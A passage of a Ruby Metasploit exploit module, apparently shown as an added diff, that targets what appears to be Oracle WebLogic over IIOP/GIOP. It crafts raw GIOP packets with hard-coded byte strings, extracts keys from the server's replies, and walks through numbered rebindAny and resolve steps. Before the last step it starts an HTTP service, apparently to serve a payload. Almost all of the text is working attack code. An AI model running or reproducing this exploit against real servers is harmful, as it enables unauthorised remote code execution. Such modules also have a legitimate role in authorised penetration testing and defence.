"\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \ + "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \ + "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \ + "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01") + context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00") + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + print_status('3. Sending rebindAny request!') + socket.put(packet) + rebind_any_buf = socket.get + disconnect + print_good('Step 3 complete!') + + reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0) + if reply_status_code != LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + + start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime + 0xac + lt + # IOR ProfileHost ProfilePort + 0x5d # ObjectKey Prefix + + while rebind_any_buf[start_off] != 0x32 + if start_off > 0x2710 + break + end + + start_off += 1 + end + + if start_off > 0x2710 + key3 = "\x32\x38\x39\x00" + else + key3 = rebind_any_buf[start_off...start_off + 4] + end + + wls_key_2.gsub!('{{key3}}', key3) + wls_key_2.gsub!('{{key1}}', key1) + + # Step 4 - rebind_any Request Again??? + socket = connect + key_addr = wls_key_2 + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + print_status('4. Sending second rebindAny request!') + socket.put(packet) + rebind_any_buf_2 = socket.get + disconnect + print_good('Step 4 complete!') + + reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0) + if reply_status_code != NO_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") + end + + # Step 5 - Send second GIOP LocateRequest packet + print_status('5. Sending second GIOP LocateRequest packet') + socket = connect + socket.put(giop_locate_request_packet) + locate_buf_two = socket.get + disconnect + print_good('Step 5 complete!') + + reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0) + if reply_status_code != OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") + end + + # Step 6 - Resolve packet #1 with wls_key_1 + key_addr = wls_key_1 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + print_status('6. Sending resolve packet #1 with wls_key_1') + socket = connect + socket.put(packet) + resolve_packet_wls_key_1 = socket.get + disconnect + print_good('Step 6 complete!') + + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0) + if reply_status_code != LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + + # Step 7 - Resolve packet #2 with wls_key_2 + key_addr = wls_key_2 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + start_service + start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i) + + print_status('7. Sending resolve packet #2 with wls_key_2') + socket = connect + socket.put(packet) + step_7_response = socket.get + disconnect + print_good('Step 7 complete!') + + reply_status_code = step_7_response[16..19].unpack('N')&.dig(0) + if reply_status_code != USER_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") + end + end +end